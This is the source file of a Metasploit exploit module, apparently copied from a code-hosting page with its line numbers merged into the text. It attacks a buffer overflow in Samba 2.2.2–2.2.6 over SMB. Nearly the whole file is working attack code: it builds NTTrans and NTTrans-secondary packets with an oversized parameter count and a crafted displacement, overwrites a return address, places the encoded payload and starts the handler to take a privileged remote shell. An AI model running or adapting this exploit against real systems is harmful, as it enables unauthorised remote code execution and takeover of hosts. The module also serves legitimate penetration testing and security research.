Path: blob/master/modules/exploits/multi/samba/nttrans.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::SMB::Client910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow',15'Description' => %q{16This module attempts to exploit a buffer overflow vulnerability present in17versions 2.2.2 through 2.2.6 of Samba.1819The Samba developers report this as:20"Bug in the length checking for encrypted password change requests from clients."2122The bug was discovered and reported by the Debian Samba Maintainers.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2002-1318' ],28[ 'OSVDB', '14525' ],29[ 'BID', '6210' ],30[ 'URL', 'http://www.samba.org/samba/history/samba-2.2.7a.html' ]31],32'Privileged' => true,33'Platform' => 'linux',34'Payload' => {35'Space' => 1024,36'BadChars' => "\x00",37'MinNops' => 512,38},39'Targets' => [40[41"Samba 2.2.x Linux x86",42{43'Arch' => ARCH_X86,44'Platform' => 'linux',45'Rets' => [0x01020304, 0x41424344],46},47],48],49'DisclosureDate' => '2003-04-07',50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options(59[60Opt::RPORT(139)61]62)6364deregister_options('SMB::ProtocolVersion')65end6667def exploit68# 0x081fc9686970pattern = Rex::Text.pattern_create(12000)7172pattern[532, 4] = [0x81b847c].pack('V')73pattern[836, payload.encoded.length] = payload.encoded7475# 0x081b81387677connect(versions: [1])78smb_login7980targ_address = 0xfffbb7d08182#83# Send a NTTrans request with ParameterCountTotal set to the buffer length84#8586subcommand = 187param = ''88body = ''89setup_count = 090setup_data = ''91data = param + body9293pkt = CONST::SMB_NTTRANS_PKT.make_struct94self.simple.client.smb_defaults(pkt['Payload']['SMB'])9596base_offset = pkt.to_s.length + (setup_count * 2) - 497param_offset = base_offset98data_offset = param_offset + param.length99100pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT101pkt['Payload']['SMB'].v['Flags1'] = 0x18102pkt['Payload']['SMB'].v['Flags2'] = 0x2001103pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count104105pkt['Payload'].v['ParamCountTotal'] = 12000106pkt['Payload'].v['DataCountTotal'] = body.length107pkt['Payload'].v['ParamCountMax'] = 1024108pkt['Payload'].v['DataCountMax'] = 65504109pkt['Payload'].v['ParamCount'] = param.length110pkt['Payload'].v['ParamOffset'] = param_offset111pkt['Payload'].v['DataCount'] = body.length112pkt['Payload'].v['DataOffset'] = data_offset113pkt['Payload'].v['SetupCount'] = setup_count114pkt['Payload'].v['SetupData'] = setup_data115pkt['Payload'].v['Subcommand'] = subcommand116117pkt['Payload'].v['Payload'] = data118119self.simple.client.smb_send(pkt.to_s)120ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)121122#123# Send a NTTrans secondary request with the magic displacement124#125126param = pattern127body = ''128data = param + body129130pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct131self.simple.client.smb_defaults(pkt['Payload']['SMB'])132133base_offset = pkt.to_s.length - 4134param_offset = base_offset135data_offset = param_offset + param.length136137pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY138pkt['Payload']['SMB'].v['Flags1'] = 0x18139pkt['Payload']['SMB'].v['Flags2'] = 0x2001140pkt['Payload']['SMB'].v['WordCount'] = 18141142pkt['Payload'].v['ParamCountTotal'] = param.length143pkt['Payload'].v['DataCountTotal'] = body.length144pkt['Payload'].v['ParamCount'] = param.length145pkt['Payload'].v['ParamOffset'] = param_offset146pkt['Payload'].v['ParamDisplace'] = targ_address147pkt['Payload'].v['DataCount'] = body.length148pkt['Payload'].v['DataOffset'] = data_offset149150pkt['Payload'].v['Payload'] = data151152self.simple.client.smb_send(pkt.to_s)153ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT_SECONDARY)154155handler156end157end158159160